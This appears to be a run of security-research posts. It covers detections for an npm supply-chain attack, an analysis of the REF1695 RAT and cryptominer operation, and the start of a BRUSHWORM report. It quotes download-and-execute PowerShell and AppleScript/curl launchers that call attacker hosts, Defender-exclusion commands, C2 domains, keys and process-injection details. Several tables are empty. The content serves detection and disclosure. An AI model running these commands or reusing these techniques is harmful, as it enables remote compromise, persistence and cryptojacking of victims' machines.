([scriptblock]::Create(
  [System.Text.Encoding]::UTF8.GetString(
    (Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content
  )
)) ''"

Its core capabilities include:

• peinject - in-memory .NET assembly injection using Assembly.Load(byte[]) for process hollowing into cmd.exe.
• runscript - arbitrary PowerShell script execution via encoded commands or temp files,
• rundir - filesystem enumeration of user directories and all drive roots.

On initialization, it fingerprints the host via WMI, collecting hostname, username, OS version, CPU, hardware model, timezone, boot/install times, and a full process listing, and sends an initial directory listing of Documents, Desktop, OneDrive, and AppData before entering its beacon loop.

The second stage triggers both the Startup Persistence via Windows Script Interpreter and Suspicious String Value Written to Registry Run Key alerts:

The Suspicious PowerShell Base64 Decoding rule alert captures the PowerShell RAT script content :

Taken together, these detections capture the full Windows delivery chain: from renamed binary execution, to payload retrieval, to persistence, and in-memory execution via the following behavioral detections:

• Execution via Renamed Signed Binary Proxy
• Potential File Transfer via Curl for Windows
• Startup Persistence via Windows Script Interpreter
• Suspicious String Value Written to Registry Run Key
• Suspicious PowerShell Base64 Decoding

macOS

Analysis shows the loader writes AppleScript to a temp file, runs it via osascript, then downloads the second stage to a fake Apple-looking cache path and launches it through /bin/zsh. The key launcher looks like this:

do shell script "curl -o /Library/Caches/com.apple.act.mond \
 -d packages.npm.org/product0 \
 -s http://sfrclak.com:8000/6202033 \
 && chmod 770 /Library/Caches/com.apple.act.mond \
 && /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \ &> /dev/null"

The delivered file produced the following execution matching on the file name masquerading attempt and the self-signed code signature :

The payload path itself triggers the Potential Binary Masquerading via Invalid Code Signature and Suspicious URL as argument to Self-Signed Binary endpoint rules, as it mimics Apple naming conventions (com.apple.*) but does not match expected signing characteristics.

com.apple.act.mond is a custom-built macOS backdoor compiled as a universal Mach-O binary (x86_64 and ARM64) using C++ and Xcode, with HTTP-based C2 communications via libcurl and a JSON command protocol.

On initial check-in, it fingerprints the host, collecting hostname, username, OS version, hardware model, timezone, and a full process listing (ps -eo user,pid,command), which surfaces via the Suspicious XPC Service Child Process endpoint rule, capturing unexpected child process activity originating from the backdoor:

The macOS backdoor facilitates:

• C2 connection by passing a URL directly as an argument.
• AppleScript execution using osascript via temporary hidden .scpt files dropped to /tmp/
• Filesystem enumeration targeting /Applications and ~/Library/Application Support
• Downloading and executing remote base64-encoded payloads.
• Ad-hoc code signing of dropped payloads (codesign --force --deep --sign - “/private/tmp/.*”) so it can run past Gatekeeper.

The binary is not packed or obfuscated, ships with debug entitlements enabled, and retains developer build paths (Jain_DEV/client_mac/macWebT) and uses a spoofed IE8/Windows XP user-agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)).

These detections collectively follow the macOS delivery path from staged AppleScript execution to payload launch and post-execution behavior:

• Suspicious URL as argument to Self-Signed Binary
• Potential Binary Masquerading via Invalid Code Signature
• Suspicious XPC Service Child Process

Conclusion

This supply chain attack highlights how little complexity is required to achieve cross-platform compromise when execution is triggered during installation.

Across Linux, Windows, and macOS, we consistently observed the same core pattern: a Node.js process spawning native OS execution to retrieve and launch a remote payload, followed by immediate detachment or hidden execution.

From a detection perspective, the key takeaway is that the most reliable signals are not in the package itself, but in what happens immediately after installation. Process ancestry, network retrieval, and detached execution provide a stable detection surface that remains effective even when payloads, filenames, or infrastructure change.

Elastic detections focused on this behavior provided consistent coverage of the delivery stage across all platforms, without relying on static indicators.

Indicators of Compromise (IOCs)

Related Alerts

Malicious Packages

Additional related packages observed in the ecosystem abuse:

Script / Payload Hashes (SHA256)

Network Indicators

File System Indicators

Cross-platform

Linux

Windows

macOS

Elastic Security Labs has been tracking a financially motivated operation, designated REF1695, that has been active since at least late 2023. The operator deploys a combination of RATs, cryptominers, and custom XMRig loaders through fake installer packages. Across all observed campaigns, the infection chains share a consistent packing technique, overlapping C2 infrastructure, and common social engineering patterns, linking them to a single operator.

Beyond cryptomining, the threat actor monetizes infections through CPA (Cost Per Action) fraud, directing victims to content locker pages under the guise of software registration. In this report, we trace the operation's evolution across multiple campaign builds, analyze the C2 communication protocols, document a previously unreported .NET implant (CNB Bot), and track the operator's financial returns via public Monero mining pool dashboards.

Key takeaways

• Financially motivated campaigns have been active since late 2023, deploying various RATs and cryptominers through fake installer packages.
• Operator monetizes infections through both cryptomining and CPABuild fraud.
• Stages use a consistent Themida/WinLicense + .NET Reactor packing combination
• CNB Bot is a previously undocumented .NET implant with RSA-2048 signed task authentication
• A custom XMRig loader evades detection by killing the miner whenever analysis tools are running and deploys WinRing0x64.sys
• Over 27.88 XMR paid out across four tracked wallets, with active workers at the time of writing
• We leveraged a Claude-driven agentic pipeline to automate the extraction of payload stages and implant configurations

Campaign 1 (CNB Bot)

The most recent campaign involves dropping CNB Bot, using an ISO file as the infection vector. The ISO image contains 2 files: a single-stage .NET Reactor-protected loader further packed with Themida/WinLicense 3.x, and a ReadMe.txt. Associated ISO samples:

• 460203070b5a928390b126fcd52c15ed3a668b77536faa6f0a0282cf1c157162
• b8b7aecce2a4d00f209b1e4d30128ba6ef0f83bbdc05127f6f8ba97e7d6df291
• 9977b9185472c7d4be22c20f93bc401dd74bb47223957015a3261994d54c59fc
• 9fa23382820b1e781f3e05e9452176a72529395643f09080777fab7b9c6b1f5c
• 27db41f654b53e41a4e1621a83f2478fa46b1bbffc1923e5070440a7d410b8d3

The ReadMe.txt serves as a social engineering lure, framing the unsigned binary as the product of a small non-profit team that cannot afford EV code-signing, then provides explicit instructions to bypass SmartScreen via "More Info" → "Run Anyway.".

Using the open-source Themida/Winlicense unpacker project, Unlicense, we automatically extracted the .NET Reactor-protected loader and then passed it through NETReactorSlayer for deobfuscation. The majority of campaigns were observed to use this combination of protection in both the initial and subsequent stages.

The loader first invokes PowerShell with -WindowStyle Hidden, to register broad Microsoft Defender exclusions via Add-MpPreference -ExclusionPath and Add-MpPreference -ExclusionProcess, covering the loader itself, staging directories (%TEMP%, %LocalAppData%, %AppData%) and a set of LOLBin process names the malware later utilizes.

It then extracts an embedded .NET assembly resource and writes it to disk at %TEMP%\MLPCInstallHelper.exe (filename varies by build), then executes it via PowerShell. This embedded resource is a .NET Reactor-protected CNB Bot instance, discussed in detail in the Code Analysis - CNB Bot section below.

Since no legitimate software is installed at any point, the loader presents a fake error dialog to the user, attributing the installation failure to unmet system requirements.

Campaign 2 (PureRAT)

Pivoting on the ReadMe.txt lure content, we discovered a campaign dropping PureRAT v3.0.1. This campaign uses a very similar initial-stage loader as campaign 1 and introduces a second-stage loader.

Example ISO samples employing this chain:

• 7bb0e91558244bcc79b6d7a4fe9d9882f11d3a99b70e1527aac979e27165f1d7
• c6c4a9725653b585a9d65fc90698d4610579b289bcfb2539f7a5f7e64e69f2e4
• a3f84aa1d15fd33506157c61368fd602d0b81f69aff6c69249bf833d217308bb
• 82c03866670b70047209c39153615512f7253f125a252fe3dcd828c6598fdf86
• 542d2267b40c160b693646bc852df34cc508281c4f6ed2693b98147dae293678

We will be using the first sample from this list as an example for our analysis.

The initial-stage loader applies Microsoft Defender exclusions to the same directory set (%TEMP%, loader path, %LocalAppData%, …), but process exclusions are limited to the loader executable only. The Stage 2 payload is extracted from the embedded resource to %TEMP%\<...>InstallHelper.exe and launched via hidden PowerShell Start-Process. Stage 2 is protected with the same Themida + .NET Reactor packing technique.

Stage 2 registers only process-level Microsoft Defender exclusions.

The loader then extracts four embedded resources into the install directory at %SystemDrive%\Users\%UserName%\AppData\Local\SVCData\Config, dropping 3 unused, benign DLLs and a malicious svchost.exe binary, which is the 3rd stage. Stage 3 is launched through PowerShell, and a scheduled task named SVCConfig is registered via schtasks.exe with an ONLOGON trigger and HIGHEST privilege.

Following payload launch, Stage 2 writes a temporary .bat file to %TEMP% with a polling loop that forcefully deletes the installer binary until successful, then deletes the batch file itself.

Stage 3 is a Themida + .NET Reactor-protected, in-memory PE loader, which is also the beginning of the PureRAT component. The encrypted next-stage module is stored as a .NET resource and decrypted via Triple DES (3DES) in CBC mode using an embedded key and IV. The decrypted output is a GZip-compressed PE: the first 4 bytes encode the decompressed size as a little-endian integer, followed by the GZip stream.

The PureRAT v3.0.1 configuration is decoded by base64-decoding an embedded string and deserializing the result as a Protobuf message:

• 23-01-26 (build / campaign date)
• windirautoupdates[.]top (C2 #1)
• winautordr.itemdb[.]com (C2 #2)
• winautordr.ydns[.]eu (C2 #3)
• winautordr.kozow[.]com (C2 #4)
• Aesthetics135 (mutex and C2 comms key)

The C2 communication protocol uses key derivation function - PBKDF2-SHA1("Aesthetics135", embedded_salt=010217EA2530863FF804, iter=5000) to derive 96 bytes, split into an AES-256-CBC key and an HMAC-SHA256 key. Incoming messages are authenticated by verifying the HMAC over [IV | ciphertext] stored in the first 32 bytes; the IV is then read from byte offset (32- 48) and used to decrypt the remaining ciphertext, yielding a Protobuf-encoded command message.

By decrypting traffic captured in VirusTotal sandboxes, we observed that the C2 server at windirautoupdates[.]top was automatically issuing a download-and-execute task directing the implant to fetch an XMR mining payload from https://github[.]com/lebnabar198/Hgh5gM99fe3dG/raw/refs/heads/main/MnrsInstllr_240126[.]exe.

Campaign 3 (PureRAT, PureMiner, XMRig loader)

The third campaign variant shares the same initial-stage loader design as Campaigns 1 and 2. Its Stage 2 resembles Campaign 2 but differs by dropping multiple embedded payloads from the resource section, including PureRAT, a custom XMRig loader, and PureMiner.

Example ISO sample:

• f84b00fc75f183c571c8f49fcc1d7e0241f538025db0f2daa4e2c5b9a6739049.

To keep the machine awake and maximize mining uptime, the loader disables sleep and hibernation via Windows power management commands:

• powercfg /change standby-timeout-ac 0
• powercfg /change standby-timeout-dc 0
• powercfg /change hibernate-timeout-ac 0
• powercfg /change hibernate-timeout-dc 0

The PureRAT configuration matches Campaign 2, differing only in the build/campaign ID: 25-11-25.

The PE loader component of PureMiner is similar to PureRAT, and the decrypted module is also obfuscated via .NET Reactor. Since the configuration is Protobuf-serialized, hooking ProtoBuf.Serializer::Deserialize allows inspection of the configuration data:

• 25-11-25 (build / campaign date)
• wndlogon.hopto[.]org (C2 #1)
• wndlogon.itemdb[.]com (C2 #2)
• wndlogon.ydns[.]eu (C2 #3)
• wndlogon.kozow[.]com (C2 #4)
• 4c271ad41ea2f6a44ce8d0 (mutex and C2 comms key)

Additional behavioral indicators include the dynamic loading of AMD Display Library binaries (atiadlxx.dll/atiadlxy.dll) and the NVIDIA API library (nvapi64.dll), consistent with GPU hardware profiling techniques employed by PureMiner.

Custom .NET-Based Loader for XMRig

The following findings cover the custom XMRig loader deployed during this campaign. Analyzed samples:

• 0176ffaf278b9281aa207c59b858c8c0b6e38fdb13141f7ed391c9f8b2dc7630
• 9409f9c398645ddac096e3331d2782705b62e388a8ecb1c4e9d527616f0c6a9e
• f84b00fc75f183c571c8f49fcc1d7e0241f538025db0f2daa4e2c5b9a6739049

The Entry Point and Setup

Execution begins in the Start() method. The loader first calls FetchRemoteConfig(), which reaches out to a hardcoded URL (https://autoupdatewinsystem[.]top/MyMNRconfigs/0226.txt). The response is AES-encrypted JSON, which the loader decrypts using a hardcoded key (AsyncPrivateInputx64) and parses to extract the pool, wallet, and mining arguments. If the remote server is unreachable or decryption fails, it falls back to a hardcoded ztbpVbABSx1jDIKnWGbx1d_0 configuration to ensure mining can still occur.

Resource Extraction

Simultaneously, an asynchronous task triggers ExtractResources(). The loader checks the %TEMP% directory for two files: procsrv.exe (the renamed XMRig payload) and WinRing0x64.sys (a driver used by XMRig for direct hardware access). If either is absent, the loader unpacks them from its own assembly manifest.

Evasion Loop

After a 3-second sleep, the loader calls StartEvasionTimer(), initializing a timer that ticks every 1,000 milliseconds. On each tick, IsAnalysisToolRunning() compares all running process names against a hardcoded list of 35 security and monitoring tools (Taskmgr, ProcessHacker, Wireshark, Procmon, etc.).

If any analysis tool is detected, the loader immediately calls KillMinerProcess(), terminating procsrv.exe, effectively dropping the CPU usage back to normal.

If no analysis tool is detected, the loader calls CheckAndRunMiner(). If the miner is not currently running, it reconstructs the command-line arguments (using the remote or fallback config) and quietly launches the miner as a hidden background process via LaunchMiner().

This creates a "hide and seek" scenario for the victim. Whenever they try to investigate why their PC is slow, the malware shuts down the miner.

WinRing0x64.sys and Ring 0 Access

The loader also drops and loads WinRing0x64.sys, a legitimate open-source driver frequently abused by cryptominers. The driver provides direct Ring 0 (kernel-level) hardware access, which XMRig uses to apply its Model Specific Register (MSR) modification, reconfiguring CPU prefetcher and L3 cache behavior to significantly boost RandomX (Monero) hash rates.

Campaign 4 - Umnr_ (SilentCryptoMiner)

From the autoupdatewinsystem[.]top domain, we identified another GitHub account https://github[.]com/ugurlutaha6116 hosting another loader variant whose executable name is prefixed with Umnr_. This loader is a Themida-packed SilentCryptoMiner loader that installs persistently on the victim machine, injects a watchdog payload into conhost.exe, and a miner payload into explorer.exe, mining ETH or XMR depending on the build configuration.

SilentCryptoMiner is a closed-source Win32 64-bit malware released for free on GitHub. The samples we analyzed are older versions than the latest release:

• 1f7441d72eff2e9403be1d9ce0bb07792793b2cb963f2601ecfdf8c91cd9af73
• 468441d32f62520020d57ff1f24bb08af1bc10e9b4d4da1b937450f44e80a9be
• 4e6b8fdd819293ca3fe8f8add6937bf6531a936955d9ac974a6b231823c7330e
• 6492e50e79b979254314988228a513d5acbdaa950346414955dc052ae77d2988
• ce90cb3a9bfb8a276cb50462be932e063ed408af8c5591dd2c50f1c6d18c394c

Direct Syscalls

To evade detection, SilentCryptoMiner uses direct syscalls instead of NTDLL functions. To do this, it parses NTDLL exports to locate the target function by a hash of its name, extracts the syscall number, and manually executes the syscall instruction sequence.

Disable Sleep and Hibernate

To ensure it can use the host machine for as long as possible, SilentCryptoMiner disables Windows sleep and hibernation by executing a shell command.

Install Persistence

After copying itself to its installation folder (in this case, configured to masquerade as legitimate software named “Appdata/Local/OptimizeMS/optims.exe”), SilentCryptoMiner proceeds to establish persistence. If the process is running with administrator privileges, it creates a scheduled task configured via an XML file.

The XML file is dropped onto the disk in the AppData/Local/Temp folder and contains the task configuration. One interesting setting is AllowHardTerminate = False, which prevents the task from being forcibly terminated via schtasks.

If the process lacks administrator rights, it instead adds a Run key to the registry.

After initial installation, the process terminates. On subsequent execution by the persistence mechanism, it verifies that it is running from its installation directory before proceeding to the process injection phase.

Inject watchdog and miner payloads

In the samples we analyzed, the builds contain four payloads:

• A Winring0.sys driver
• A watchdog process
• A Monero miner
• An Ethereum miner

We know that the malware can contain multiple miners; however, in our tests, we only observed the Monero miner injected into a process. In the code, only one of the two miners is injected, which we assume depends on the configuration.

SilentCryptoMiner initiates injection by creating a new suspended process with a spoofed parent process. It obtains a handle to explorer.exe using NtQuerySystemInformation and NtOpenProcess, then configures a PS_ATTRIBUTE_LIST structure with the handle for parent spoofing and passes it to NtCreateUserProcess.

The payload is written to disk via NtCreateFile and NtWriteFile, then mapped into the target process's memory space through NtCreateSection and NtMapViewOfSection. Execution flow is hijacked by modifying the suspended process's entry point (in the RCX register) to point to the payload's image base using NtGetContextThread and NtSetContextThread. The process's PEB (in RDX register) image base is also set to the payload's address using NtWriteVirtualMemory. Finally, the process is resumed with NtResumeThread.

The payload data is decrypted from a hardcoded blob in the binary using a simple XOR cipher with a hardcoded key. After injection, the blob is re-encrypted in memory to reduce forensic traces.

In the analyzed samples, SilentCryptoMiner utilizes two distinct processes for payload injection: the watchdog component is injected into conhost.exe, while the miner payload targets explorer.exe. The WinRing0.sys driver is also written to disk, then loaded and used by the miner. This is likely to optimize the CPU for mining operations.

Watchdog and Miner Processes

The watchdog is responsible for monitoring the loader file in its persistence folder: it rewrites the file to disk if it is deleted and reinstalls the persistence mechanism if the scheduled task or registry key is deleted.

The miner downloads its configuration from (/UWP1)?/*CPU.txt endpoints and communicates with its C2 via [UWP1|UnamWebPanel7]/api/endpoint.php API, depending on the version.

Based on the documentation and memory strings, we know that the miner includes supplementary protection measures: Like the .NET miner detailed previously, it halts mining operations when it detects specific blocklisted processes. These processes encompass a variety of tools, including those used for process monitoring, network monitoring, antivirus protection, and reverse engineering.

Code analysis - CNB Bot

CNB Bot is a .NET implant with integrated loader capabilities. It implements a command-polling loop against its configured C2 servers, and supports 3 operator commands:

• download-and-execute arbitrary payloads
• self-update
• uninstall/cleanup

On Jan 31, 2026, malware researcher @ViriBack discovered a related C2 panel that was exposed at https://win64autoupdates[.]top/CNB/l0g1n234[.]php, which has since been taken offline.

Configuration

Some configuration values for CNB Bot are not encrypted, such as the bot version (1.1.6.), campaign date (03_26), and the scheduled task name for persistence (HostDataPlugin).

Sensitive strings (C2 URLs, mutex name, auth token, comms key) are stored AES-256-CBC encrypted with a hardcoded 32-byte key, which differs across campaign batches.

Strings can be decrypted through the following formula:

x = base64.decode(data)
decrypted = AES256CBC(key=hard_coded_key, iv=x[0:16]).decrypt(x[16:])

Extracted configuration:

Execution Flow

At startup, CNB Bot uses five different methods to check for VM detection:

Each check returns zero or one and is summed against a threshold. When the detection threshold is reached, the first process instance acquires a named mutex and enters an infinite sleep (Thread.Sleep(int.MaxValue)), appearing hung rather than terminating cleanly. Any subsequent instance finding the mutex already held exits immediately.

Otherwise, on first execution, the implant checks for %APPDATA%\HostData\install.dat. If absent, it performs the initial installation:

• Generates a random 5-character alphabetic subdirectory name under %APPDATA%\HostData\
• Copies itself to %APPDATA%\HostData\<random>\sysdata.exe
• Writes the installed path to install.dat
• Extracts benign dependencies DiagSvc.dll and sdrsvc.dll into the same directory
• Writes a VBScript wrapper sysdata.vbs alongside the binary: CreateObject("WScript.Shell").Run """<installed_path>""", 0, False
• Creates a scheduled task named HostDataProcess via schtasks.exe, configured to run wscript.exe //nologo sysdata.vbs every 10 minutes at HIGHEST privilege
• Launches the installed copy as a hidden process with %TEMP% as the working directory
• Self-deletes the original copy via a self-deleting BAT script (timeout /t 3, loop-del)

On subsequent runs, when install.dat exists, and the running path matches its contents, the implant proceeds to active operation:

• Sets the current working directory to %TEMP%
• Repairs persistence: checks if sysdata.vbs exists (recreates if absent) and verifies the scheduled task is configured with wscript.exe, re-registering it if necessary
• Acquires a named mutex (MTXCNBV11000ERCXSWOLZNBVRGH) - exits if already running
• Instantiates the victim profiler, C2 comms, and command dispatcher
• Issues a single POST to the C2 with payload: "fetch", handles any returned task
• Exits - next execution is driven entirely by the 10-minute scheduled task trigger

C2 Communication

The malware communicates with its C2 by issuing HTTP POST requests with the Content-Type set to application/x-www-form-urlencoded. Each field value is independently AES-256-CBC encrypted with a random IV. The AES key is derived as the SHA-256 hash of the hardcoded communications passphrase (AnCnDai@4zDsxP!a3E). The IV is prepended to the ciphertext, and the entire blob is base64-encoded; C2 responses follow the same format.

encrypted_field_value = base64_encode(random_iv + AES-256-CBC_encrypt\
 (key: SHA-256('AnCnDai@4zDsxP!a3E'), iv: random_iv, data: plaintext_field_value))

Fields sent on every request:

A server response decrypts to either a task string, “NO TASKS”, or “REGISTERED/UPDATED”. When the client requests a task through payload: “fetch”, if a task exists for the client, the C2 response decrypts to a <sep>-delimited task string: task_id<sep>command<sep>argument<sep>RSA_sig.

Prior to dispatch, each task undergoes RSA-SHA256 signature verification. The signed message is the concatenated string task_id<sep>command<sep>argument, and the signature is the base64-decoded RSA_sig field. A hardcoded RSA-2048 public key is used for verification.

Tasks failing verification are silently dropped. Without the operator's RSA private key, third parties cannot issue commands to infected hosts even with full C2 access.

Supported Commands

3 commands are supported, described in the table below:

Earlier Campaigns

Pivoting on the PureRAT mutex Aesthetics135, we discovered an earlier wave of the operation that presented a different fake installer UI.

Early 2025 Build

The sample bb48a52bae2ee8b98ee1888b3e7d05539c85b24548dd4c6acc08fbe5f0d7631a (first seen 2025-01-30) is a Themida and .NET Reactor-protected Windows Forms application that drops PureRAT v0.3.9.

It consists of 3 classes: Fooo1rm (the ApplicationContext entry point), Form2 (the installer UI and the PureRAT dropper), and Form3 (a fake registration lure). The code structure closely resembles the more recent campaigns.

On initialization, it immediately invokes a hidden PowerShell one-liner to add itself to Microsoft Defender exclusions before any UI appears: powershell.exe -WindowStyle Hidden Add-MpPreference -ExclusionPath '<self_path>'; Add-MpPreference -ExclusionProcess '<self_path>'. A timer with a 2,846 ms interval fires, instantiating and showing Form2.

Form2 presents a progress bar dialog titled “Getting things ready” with a 12-step timer ticking every 1,000 ms, simulating a legitimate installation.

A second PowerShell exclusion command covers %LocalAppData%, %AppData%, the drop directory %LocalAppData%\winbuf, and process names including winbuf.exe, wintrs.exe, and AddlnProcess.exe. The PureRAT v0.3.9 payload is extracted from the assembly manifest resource and written to %LocalAppData%\winbuf\winbuf.exe. Persistence is established via schtasks.exe.

Extracted PureRAT config:

• wndlogon.hopto.org (C2 #1)
• wndlogon.itemdb.com (C2 #2)
• wndlogon.kozow.com (C2 #3)
• wndlogon.ydns.eu (C2 #4)
• Aesthetics135 (mutex and C2 comms key)
• 29-01-25 (build / campaign date)

Form3 serves purely as a social engineering mechanism to drive Cost Per Action (CPA) offer completions through a content locker.

Content lockers are a monetization technique in which access to a resource is gated behind completing CPA (Cost Per Action) offers, such as filling out a survey or signing up for a service. The malware operator earns a commission each time a victim completes one of these offers.

It presents a fake “Registration Required” dialog with a key entry field, a “Validate” button, and a hyperlink labeled “here” that opens https://tinyurl[.]com/cmvt944y. Key validation is entirely fake. Regardless of input, the handler introduces a hardcoded 2-second delay, then always returns “Invalid key. Please try again.”

The TinyURL shortlink tinyurl[.]com/cmvt944y redirects to the lure page at rapidfilesdatabaze[.]top/files/z872d515ea17b4e6c3abca9752c706242/.

The page used to host a minimal HTML document titled "Registration Key is Ready", designed to trick the victim into interacting with the CPA content locker. It presents a download icon and a fake file link labeled Registration_Key.txt, alongside a unique campaign tracking ID (z872d515ea17b4e6c3abca9752c706242) displayed in the page body.

The content locker JavaScript (3193171.js) is loaded from d3nxbjuv18k2dn.cloudfront[.]net, and clicking the Registration_Key.txt link triggers the offer wall under the pretext of unlocking a license key.

Late 2023 Build

An older sample - 6a01cc61f367d3bae34439f94ff3599fcccb66d05a8e000760626abb9886beac (first seen 2023-11-09) presented a similar fake installer UI. This represents the earliest activity we attributed to this threat actor based on shared infrastructure and tooling.

This campaign build dropped PureRAT v0.3.8B, in which the in-memory PE loader component used a SmartAssembly-protected PureCrypter.

Extracted PureRAT config:

• wndlogon.hopto.org (C2 #1)
• wndlogon.itemdb.com (C2 #2)
• wndlogon.kozow.com (C2 #3)
• wndlogon.ydns.eu (C2 #4)
• Aesthetics135 (mutex and C2 comms key)
• 09.11.23 (build / campaign date)

On the installation window, the “go here” hyperlink opens a short link https://t[.]ly/MQXPm that redirects to the lure page https://softwaredlfast[.]top/files/n71fGbs2b7XceW3op71aQsrx41Rkeydl/, which presents 2 outgoing fake download links:

• https://rapidfilesbaze[.]top/z78fGbs2b7XceWop21aQsrx41Rkeydsktp/
• https://rapidfilesbaze[.]top/z78fGbs2b7XceWop21aQsrx41Rkeymbl/

Both links were offline at the time of analysis. However, historical data indicates that rapidfilesbaze[.]top has been used consistently for CPA-style offer lures.

A URLScan.io archived response for a related path (rapidfilesbaze[.]top/h74fGbs2b7XceWop71aQsrx41-Registration-Key-Mobile/) confirms the site's use as a lure landing page.

The downstream unlocker site at https://unlockcontent[.]net/cl/i/me9mn2 remains active as of this writing.

GitHub Profiles

Beyond the C2 infrastructure, the threat actor abuses GitHub as a payload delivery CDN, hosting staged binaries across two identified accounts. This technique shifts the download-and-execute step away from operator-controlled infrastructure to a trusted platform, reducing detection friction. Both profiles were confirmed through decrypting C2 task traffic captured by VirusTotal sandboxes, which issued download-and-execute tasks pointing directly to raw GitHub content URLs. The operator routinely deletes individual binaries and entire repositories; the files documented below were captured via VirusTotal submissions or direct retrieval from GitHub prior to deletion.

The first profile, https://github[.]com/lebnabar198, surfaced during analysis of Campaign 2. After decrypting the C2 traffic from the windirautoupdates[.]top server, we observed the PureRAT implant being instructed to fetch a payload from this account, specifically the custom XMRig loader MnrsInstllr_240126.exe. This establishes a direct operational link between the PureRAT C2 and this GitHub profile.

The second profile, https://github[.]com/ugurlutaha6116, was identified by decrypting traffic from a PureRAT loader (SHA-256: e1e87d11079d33ec1a1c25629cbb747e56fe17071bde5fd8c982461b5baa80a4), which used the same PBKDF2 key derivation structure with the comms key Aesthetics152. The decrypted task pointed to the hosted payload PM3107.exe.

The hosted files map to the following payloads:

Monero Wallet Analysis

During our analysis of the cryptominer payloads, we successfully extracted four active Monero (XMR) wallet addresses from the malware's configuration. Because the threat actor is routing their compromised hosts through public mining pools, we can query the pool's public dashboards using these wallet addresses. It provides information about the operational scale and profitability of the campaigns.

Based on the telemetry available at the time of writing, here is the current status of the attacker's mining operations:

• Wallet 1: 87NnUp8GKVBZ8pFV75Gas4A5nMMH7gEeo8AXBhm9Q6vS5oQ6SzCYf1bJr7Lib35VN2UX271PAXeqRFDmjo5SXm3zFDfDSWD
  • Active Workers: 7
  • Estimated Hashrate Return: ~0.0172 XMR / day
  • Total Paid Out: 2.2 XMR
• Wallet 2: 89FYoLrfXwEDAVAsVYbhAfg3mATUtBzNAK2LG8wwDKfNTRhmNRTBn1VbwpFxEpJ8h5fQa2A4CS1tpRv7amUdJ3ZbUoVu6T1
  • Active Workers: 3
  • Estimated Hashrate Return: ~0.02 XMR / day
  • Total Paid Out: 4.23 XMR
• Wallet 3: 89WoZKYoHhcNEFRV8jjB6nDqzjiBtQqyp4agGfyHwED1XyVAoknfVsvY1CwEHG6nwZFJGFTF5XbqC4tAQbnoFFCX8UQof3G
  • Active Workers: 2
  • Estimated Hashrate Return: ~0.0057 XMR / day
  • Total Paid Out: 11.69 XMR
• Wallet 4:
  83Q1PKZ5yXsP8SCqjV3aV7B3UoBB3skPp49G1VnnGtv5Y5EUbFQTXvzR9cZshBYBBfd8Dm1snkkud431pdzEZ2uJTad1CiC
  • Active Workers: 2
  • Estimated Hashrate Return: ~0.0036 XMR / day
  • Total Paid Out: 9.76 XMR

With a combined total of over 27.88 XMR (~ USD$ 9392) already successfully paid out to the attacker, it proves that low-and-slow cryptojacking operations can yield consistent financial returns over time.

Agentic Payload and Configuration Extraction Pipeline

In this research, we examined several hundred infection chains across the campaigns we described. For each chain, we have samples, mainly .NET, which are either loaders or final payloads layered with .NET Reactor obfuscation and often Themida packing.

The large number of these chains makes manual configuration and unpacking time-consuming and difficult to scale across all the chains we discovered. This is why, as part of this research, we used the Claude Opus 4.5 model to quickly vibecode a payload and configuration extraction pipeline. In this section, we provide details on the choices we made and the results we obtained with this method.

Triage

To optimize processing time, this phase focuses on extensively exploring infection chains using VirusTotal. We begin by obtaining a list of hashes from VirusTotal based on a specific pivot. For instance, using the README.txt content as a pivot to identify other ISOs.

Claude is instructed to use a Python script to perform a recursive download. This process involves gathering information about embedded binaries and dropped files associated with each file hash. Claude then uses its “intelligence” to identify the most subsequent link in the chain and continues its investigation until it reaches what it considers the final binary in that chain. After exploring all chains, Claude analyzes the patterns and creates chain types to group them. Finally, the results are compiled into a CSV file for subsequent analysis.

The data we obtained includes the starting hash from VirusTotal and the final hash, representing the last file Claude successfully tracked. This demonstrates that, with the right guidance, Claude can effectively track entire chains using only information from VirusTotal.

Download and Extraction

Once the triage file was created, we downloaded the intermediate payloads and instructed Claude to start the automatic payload/configuration extraction process. To do this, we installed an OpenSSH server on a Windows virtual machine, then created a Claude skill containing instructions to connect to this machine and use the installed tools to perform the reverse engineering and extraction workflow.

The workflow is simple: Claude connects to the machine, uploads the sample, detects whether it is obfuscated or packed with Detect It Easy, and applies the appropriate deobfuscation tool until the sample is no longer obfuscated (Unlicense, .NET Reactor Slayer). It then runs the developed extraction scripts to identify what the sample is and determine the next step: either continue extraction with the child payload if the parent is a loader, or store the configuration information for the final report.

If all the extraction scripts fail, Claude must enter Research Mode. This mode is the most enjoyable part of the skill because it gives Claude a workflow to either automatically develop a new extraction script or identify why the existing script doesn't work with the variant. Claude’s Research Mode consists of using the dnSpyEx tool installed on the machine to compile the sample's C# code, perform a complete code analysis, identify how to extract the payload or configuration, then develop a script with this knowledge to work directly with the raw binaries to be more efficient and finally store the knowledge for the next time it has to work on the same malware family.

Results

Using the Claude Opus 4.5 model, the results were really good. Not only did Claude succeed in handling the obfuscation layers, but it also completely researched and developed, on its own, the methods and scripts (based on the CIL of .NET binaries) to extract the final payloads and their configurations without having encountered them before.

It also demonstrated robust failure handling without requiring additional instruction. For example, when it encountered samples that could not be fully deobfuscated due to issues with Reactor Slayer, which made static extraction too difficult, it stopped processing, documented the problem, and proceeded to the next sample.

Of course, it is not without drawbacks:

• Once its context started to fill up too much, it often diverged onto useless paths and required either micro-management or a reset, hence the usefulness of having a skill with reusable instructions and a knowledge base on the work already done.
• It takes a long time, every action requires it to “think”, however, it’s automatic and it's definitely time recovered you can use to do something else.
• Its token consumption is particularly greedy, especially once you figure out it’s doing a lot of inefficient things.

Observations

The following tables consolidate malware configurations extracted across the builds we investigated, and are not exhaustive:

CNB Bot

PureRAT

PureMiner

Custom XMRig Loader

AsyncRAT

PulsarRAT

SilentCryptoMiner

Here is a GitHub Gist of a list of sample hashes.

• A South Asian financial institution was targeted with two custom malware components: a modular backdoor (BRUSHWORM) and a keylogger (BRUSHLOGGER)
• BRUSHWORM features anti-analysis checks, AES-CBC encrypted configuration, scheduled task persistence, modular DLL payload downloading, USB worm propagation, and broad file theft targeting documents, spreadsheets, email archives, and source code
• The keylogger masquerades as libcurl via DLL side-loading, capturing system-wide keystrokes with window context tracking and XOR-encrypted log files
• Multiple earlier testing versions (V1.exe, V2.exe, etc.) were discovered on VirusTotal, some using free dynamic DNS infrastructure, indicating iterative development

Introduction

